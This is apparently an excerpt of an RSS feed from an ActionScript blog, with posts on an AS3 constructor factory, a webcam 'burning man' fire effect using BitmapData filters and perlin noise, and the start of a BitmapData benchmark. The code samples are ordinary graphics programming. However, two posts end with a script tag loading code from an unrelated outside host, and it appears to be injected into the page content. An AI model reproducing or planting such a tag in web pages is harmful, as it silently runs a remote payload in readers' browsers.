				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">0</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">1</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">2</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">3</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">4</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">5</span>: <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span>,args<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #000000; font-weight: bold;">default</span>: <span style="color: #0066CC;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Error</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;too many arguments&quot;</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #66cc66;">&#125;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">null</span>;
		<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>if you need to pass more than 5 arguments just add some lines to the factory and you&#8217;re done&#8230;</p>
<p>I was completely pissed off when I found this horrible lack in AS3, really, I was about for starting to cry, so I submitted a feature request on bugs.adobe&#8230; I think it&#8217;s really a MUST for a &#8220;respectable&#8221; language, if you find it as necessary as I think take a minute to vote this feature.<br />
<a href="https://bugs.adobe.com/jira/browse/FP-3364">https://bugs.adobe.com/jira/browse/FP-3364</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/12/02/as3-reflection-crapyness/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Burning Man &#8211; bitmapData fire effect</title>
		<link>http://www.flashfuck.it/2009/07/16/the-burning-man-bitmapdata-fire-effect/</link>
		<comments>http://www.flashfuck.it/2009/07/16/the-burning-man-bitmapdata-fire-effect/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 14:17:10 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[BitmapData]]></category>
		<category><![CDATA[effects]]></category>
		<category><![CDATA[experiments]]></category>
		<category><![CDATA[webcam]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=149</guid>
		<description><![CDATA[Yesterday night it was too warm to sleep and I have no air conditioning at home, so I thought it was a good opportunity to make some experiments related to the high temperature&#8230; &#8220;the burning man&#8221;  
Here&#8217;s the algorithm in human language:
- pick up the image from the webcam
- perform a threshold on it [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday night it was too warm to sleep and I have no air conditioning at home, so I thought it was a good opportunity to make some experiments related to the high temperature&#8230; &#8220;the burning man&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Here&#8217;s the algorithm in human language:<br />
- pick up the image from the webcam<br />
- perform a threshold on it to exclude (alpha 0) every pixel below the average skin amount of red (between 44 and 90 depending on the light)<br />
- perform a second threshold to exclude (alpha 0) every pixel above the average skin amount of green and blue (between 3344 and 6677 depending on the light)<br />
- draw the result onto a new bitmapdata with the ADD blendmode<br />
- apply blur to the bitmapdata<br />
- generate a perlin noise of one channel (i chose red)<br />
- displace the bitmapdata towards -y<br />
- apply again a displacement map filter to displace horizontally (i used a cos function to make the x displacement a little likely)<br />
- apply a displacement map towards +y with just a bit less strenght than the previous &#8220;-y&#8221; one (this is to make the fire propagation much more likely)<br />
- then merge the original webcam output with the displaced one&#8230;and you&#8217;ve the burning man! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>here the actionscript implementation</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p149code18'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p14918"><td class="code" id="p149code18"><pre class="actionscript" style="font-family:monospace;">package
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">Bitmap</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">BitmapData</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">BitmapDataChannel</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">BlendMode</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">Sprite</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #006600;">Event</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">filters</span>.<span style="color: #006600;">BlurFilter</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">filters</span>.<span style="color: #006600;">DisplacementMapFilter</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">filters</span>.<span style="color: #006600;">DisplacementMapFilterMode</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">ColorTransform</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Matrix</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Point</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Rectangle</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">media</span>.<span style="color: #0066CC;">Camera</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">media</span>.<span style="color: #0066CC;">Video</span>;
&nbsp;
	<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #ff0000;">&quot;320&quot;</span>,<span style="color: #0066CC;">height</span>=<span style="color: #ff0000;">&quot;240&quot;</span>,frameRate=<span style="color: #ff0000;">&quot;31&quot;</span>,<span style="color: #0066CC;">backgroundColor</span>=<span style="color: #ff0000;">&quot;0x000000&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> BurningMan <span style="color: #0066CC;">extends</span> Sprite
	<span style="color: #66cc66;">&#123;</span>
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _cam:<span style="color: #0066CC;">Camera</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _vid:<span style="color: #0066CC;">Video</span>;
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireThreshold:BitmapData;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _firePerlin:BitmapData;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireOffset:Point;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireSpeed:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">20</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireDisplaceUP:DisplacementMapFilter;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireDisplaceDWN:DisplacementMapFilter;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireDisplaceSrc:BitmapData;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireBlur:BlurFilter;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireColorTransform:ColorTransform;
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _fireMerge:BitmapData;
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _camBd:BitmapData;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _b:Bitmap;
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #0066CC;">static</span> const <span style="color: #0066CC;">WIDTH</span>:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">320</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #0066CC;">static</span> const <span style="color: #0066CC;">HEIGHT</span>:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">240</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #0066CC;">static</span> const ORIGIN:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #0066CC;">static</span> const REFLECT:Matrix = <span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span>-<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #0066CC;">WIDTH</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #0066CC;">private</span> <span style="color: #0066CC;">static</span> const RESIZE_2X:Matrix = <span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _rect:Rectangle;
&nbsp;
		<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> BurningMan<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #0066CC;">super</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			init<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> init<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
		<span style="color: #66cc66;">&#123;</span>
			_cam = <span style="color: #0066CC;">Camera</span>.<span style="color: #006600;">getCamera</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			_cam.<span style="color: #0066CC;">setMode</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span>,<span style="color: #cc66cc;">31</span><span style="color: #66cc66;">&#41;</span>;
			_vid = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Video</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span><span style="color: #66cc66;">&#41;</span>;
			_vid.<span style="color: #006600;">attachCamera</span><span style="color: #66cc66;">&#40;</span>_cam<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			_fireOffset = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			_fireThreshold = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span>,<span style="color: #000000; font-weight: bold;">true</span>,0x00000000<span style="color: #66cc66;">&#41;</span>;
			_fireMerge = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span>,<span style="color: #000000; font-weight: bold;">true</span>,0x00000000<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			_firePerlin = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span><span style="color: #66cc66;">*</span>.5,<span style="color: #0066CC;">HEIGHT</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>;
			_fireDisplaceSrc = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>;
			_fireDisplaceUP = <span style="color: #000000; font-weight: bold;">new</span> DisplacementMapFilter<span style="color: #66cc66;">&#40;</span>_fireDisplaceSrc,ORIGIN,BitmapDataChannel.<span style="color: #006600;">RED</span>,BitmapDataChannel.<span style="color: #006600;">RED</span>,<span style="color: #cc66cc;">0</span>,-<span style="color: #cc66cc;">15</span>,DisplacementMapFilterMode.<span style="color: #006600;">CLAMP</span><span style="color: #66cc66;">&#41;</span>;
			_fireDisplaceDWN = <span style="color: #000000; font-weight: bold;">new</span> DisplacementMapFilter<span style="color: #66cc66;">&#40;</span>_fireDisplaceSrc,ORIGIN,BitmapDataChannel.<span style="color: #006600;">RED</span>,BitmapDataChannel.<span style="color: #006600;">RED</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">9</span>,DisplacementMapFilterMode.<span style="color: #006600;">CLAMP</span><span style="color: #66cc66;">&#41;</span>;
			_fireBlur = <span style="color: #000000; font-weight: bold;">new</span> BlurFilter<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2</span>,<span style="color: #cc66cc;">2</span>,<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
			_fireColorTransform = <span style="color: #000000; font-weight: bold;">new</span> ColorTransform<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1.3</span>,<span style="color: #cc66cc;">1.1</span>,<span style="color: #cc66cc;">1</span>,.7<span style="color: #66cc66;">&#41;</span>;
&nbsp;
&nbsp;
			_camBd = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">WIDTH</span>,<span style="color: #0066CC;">HEIGHT</span>,<span style="color: #000000; font-weight: bold;">true</span>,0x00000000<span style="color: #66cc66;">&#41;</span>;
			_rect = _camBd.<span style="color: #006600;">rect</span>;
			_b = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>_camBd<span style="color: #66cc66;">&#41;</span>;
			_firePerlin.<span style="color: #006600;">lock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			_fireMerge.<span style="color: #006600;">lock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			addChild<span style="color: #66cc66;">&#40;</span>_b<span style="color: #66cc66;">&#41;</span>;
&nbsp;
&nbsp;
			addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,update<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> update<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #808080; font-style: italic;">//locks</span>
			_camBd.<span style="color: #006600;">lock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
			_fireOffset.<span style="color: #006600;">y</span>+=_fireSpeed;
			_firePerlin.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span>_firePerlin.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span>.125,_firePerlin.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span>.125,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #000000; font-weight: bold;">false</span>,BitmapDataChannel.<span style="color: #006600;">RED</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #66cc66;">&#91;</span>_fireOffset<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>
			_fireDisplaceSrc.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_firePerlin,RESIZE_2X<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			_camBd.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_vid,REFLECT<span style="color: #66cc66;">&#41;</span>;
			_fireThreshold.<span style="color: #006600;">setVector</span><span style="color: #66cc66;">&#40;</span>_rect,_camBd.<span style="color: #006600;">getVector</span><span style="color: #66cc66;">&#40;</span>_rect<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
			_fireThreshold.<span style="color: #006600;">threshold</span><span style="color: #66cc66;">&#40;</span>_fireThreshold,_rect,ORIGIN,<span style="color: #ff0000;">&quot;&lt;&quot;</span>,0xFF440000,0x00000000,0xFF0000,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			_fireThreshold.<span style="color: #006600;">threshold</span><span style="color: #66cc66;">&#40;</span>_fireThreshold,_rect,ORIGIN,<span style="color: #ff0000;">&quot;&gt;&quot;</span>,0xFF003344,0x00000000,0x00FFFF,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			_fireMerge.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_fireThreshold,<span style="color: #000000; font-weight: bold;">null</span>,_fireColorTransform,BlendMode.<span style="color: #0066CC;">ADD</span>,_rect<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			_fireDisplaceUP.<span style="color: #006600;">scaleX</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">cos</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_fireOffset.<span style="color: #006600;">y</span><span style="color: #66cc66;">/</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&lt;&lt;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">%</span>360<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">180</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">PI</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">2</span>;
			_fireDisplaceDWN.<span style="color: #006600;">scaleX</span> = -_fireDisplaceUP.<span style="color: #006600;">scaleX</span>;
			_fireMerge.<span style="color: #006600;">applyFilter</span><span style="color: #66cc66;">&#40;</span>_fireMerge,_fireMerge.<span style="color: #006600;">rect</span>,ORIGIN,_fireBlur<span style="color: #66cc66;">&#41;</span>;
			_fireMerge.<span style="color: #006600;">applyFilter</span><span style="color: #66cc66;">&#40;</span>_fireMerge,_rect,ORIGIN,_fireDisplaceUP<span style="color: #66cc66;">&#41;</span>;
			_fireMerge.<span style="color: #006600;">applyFilter</span><span style="color: #66cc66;">&#40;</span>_fireMerge,_rect,ORIGIN,_fireDisplaceDWN<span style="color: #66cc66;">&#41;</span>;
			_camBd.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_fireMerge,<span style="color: #000000; font-weight: bold;">null</span>,_fireColorTransform,BlendMode.<span style="color: #006600;">HARDLIGHT</span>,_rect<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			<span style="color: #808080; font-style: italic;">//unlocks</span>
			_camBd.<span style="color: #006600;">unlock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>here&#8217;s a preview of myself empowered by the force of the fire!:D<br />
<a href="http://www.flashfuck.it/test/burning_man/index.html" title="burning man" class="flickr-image alignnone"><img src="http://farm3.static.flickr.com/2517/3726036339_476f627507_o.jpg" alt="burning man" class=""  /></a><br />
click the photo to see the demo in action</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/07/16/the-burning-man-bitmapdata-fire-effect/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BitmapData manipulation benchmark</title>
		<link>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/</link>
		<comments>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 19:54:49 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[BitmapData]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=144</guid>
		<description><![CDATA[Today I encountered this blog post from Zevan (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:
First strike (Zevan&#8217;s one): copyPixels

?View Code ACTIONSCRIPT&#91;SWF&#40;width=650, height=650&#41;&#93;
var loader:Loader = [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered <a href="http://actionsnippet.com/?p=1760">this blog post from Zevan</a> (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:</p>
<p>First strike (Zevan&#8217;s one): <strong>copyPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code23'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p14423"><td class="code" id="p144code23"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
